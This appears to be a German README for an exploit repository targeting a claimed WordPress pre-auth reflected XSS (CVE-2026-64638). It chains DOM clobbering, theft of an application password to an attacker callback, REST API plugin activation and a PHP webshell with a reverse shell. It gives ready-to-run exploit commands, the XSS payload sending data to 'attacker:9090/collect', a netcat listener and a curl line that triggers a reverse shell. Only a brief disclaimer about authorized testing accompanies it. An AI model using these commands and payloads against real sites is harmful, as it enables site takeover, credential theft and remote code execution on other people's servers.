
CVE-2026-64638 — WordPress Pre-Auth Reflektiertes XSS → RCE über DOM Clobbering + Diebstahl von Anwendungspasswörtern + REST-API-Plugin-Aktivierung. Dual-Mode-PoC (XSS-Kette & direkt).
WordPress Pre-Auth Reflected XSS → Remote Code Execution Chain
DOM Clobbering + Application Password Diebstahl + REST-API-Plugin-Aktivierung = Vollständige RCE
CVE-2026-64638 ist eine kritische Pre-Authentifizierungs-Reflected-XSS in WordPress wp-login.php. Die Schwachstelle besteht, weil die Login-Fehlermeldung den übermittelten Benutzernamen ohne ordnungsgemäße HTML-Kodierung zurückspiegelt, was DOM Clobbering über <area id=ajaxurl> ermöglicht und die meisten Filter umgeht.
In Verbindung mit der Application-Password-Funktion von WordPress wird aus dieser XSS ein vollständiger Remote-Code-Execution-Vektor — keine Benutzerinteraktion außer dem Besuch einer präparierten Trigger-Seite während der Anmeldung.
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php spiegelt <area id=ajaxurl> im Benutzernamen-Fehler │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> kapert wp-admin JS → sendet Formular automatisch ab │
│ ↓ │
│ [3] Application Password Diebstahl │
│ XSS leitet das Opfer zu authorize-application.php um │
│ success_url-Callback erfasst das App-Passwort │
│ ↓ │
│ [4] REST-API-Plugin-Aktivierung │
│ App-Passwort → Basic Auth → wp-json/wp/v2/plugins → aktiv │
│ ↓ │
│ [5] Webshell-RCE │
│ Plugin-PHP-Webshell → uid=33(www-data) │
│ Reverse Shell ebenfalls verfügbar │
└─────────────────────────────────────────────────────────────────┘
| Version | Status | Hinweise |
|---|---|---|
| WordPress ≤ 6.9.5 | ✅ Verwundbar | Docker-Images vor dem Backport weiterhin ausnutzbar |
| WordPress 6.9.6+ | ⚠️ Gepatcht (Backport vom 7. Aug. 2026) | Docker-Images, die nach dem 7. Aug. neu erstellt wurden, enthalten den Fix |
| WordPress 7.0.x | ✅ Verwundbar | Bestätigt auf 7.0.2 |
| WordPress 7.1+ | ❓ Unbekannt | Nicht getestet |
pip3 install requests
Das war's. Python 3.8+ Standardbibliothek für alles andere.
# Klonen
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto-Modus (empfohlen)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: Exploit ausführen (startet Callback-Server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Trigger-Seite hosten
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Opfer senden: http://192.168.1.100:8000/trigger_target.com.html
Das Opfer muss in WordPress als Administrator angemeldet sein. Die Trigger-Seite:
wp-login.phpauthorize-application.php, damit das Opfer zustimmen kannpython3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
Direkte Anmeldung → Plugin-Upload → sofortige Webshell. Keine XSS erforderlich.
# In einem Terminal
nc -lvnp 4444
# In einem anderen — der Exploit löst die Reverse Shell automatisch aus, wenn --lhost gesetzt ist
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
Oder manuell über die Webshell:
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Haupt-Exploit-Skript (Dual-Modus)
├── poc.py # Original-PoC (zur Referenz)
├── trigger_192.168.0.87.html # Beispiel-Trigger-Seite
└── README.md # Diese Datei
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
Warum es funktioniert:
sanitize_user() entfernt standardmäßige HTML-Tags, übersieht aber <area> mit einem führenden Leerzeichen<area id=ajaxurl> führt DOM Clobbering aus — es kapert window.ajaxurl, das von wp-admin-JavaScript verwendet wirdwp_auth_check-Intervall feuert und die XSS leitet das Opfer zu authorize-application.php umsuccess_url sendet das generierte Passwort an den Callback-Server des AngreifersSobald das Application Password erfasst wurde:
/wp-json/wp/v2/POST /wp-json/wp/v2/plugins/{slug} mit {"status":"active"}wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND?rev=IP:PORT startet /bin/sh -i zurück zum Angreifer| Ziel | Version | Modus | Ergebnis |
|---|---|---|---|
| Docker (lokal) | WordPress 7.0.2 | XSS-Kette | ✅ RCE als www-data |
| Docker (lokal) | WordPress 7.0.2 | Direkt | ✅ RCE als www-data |
| Docker (lokal) | WordPress 6.7 | XSS-Kette | ✅ RCE als www-data |
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Forschung bestimmt. Die Autoren übernehmen keine Haftung für Missbrauch. Holen Sie immer eine schriftliche Genehmigung ein, bevor Sie testen.
„Kein Exploit, kein Report." — Shannon-Methodik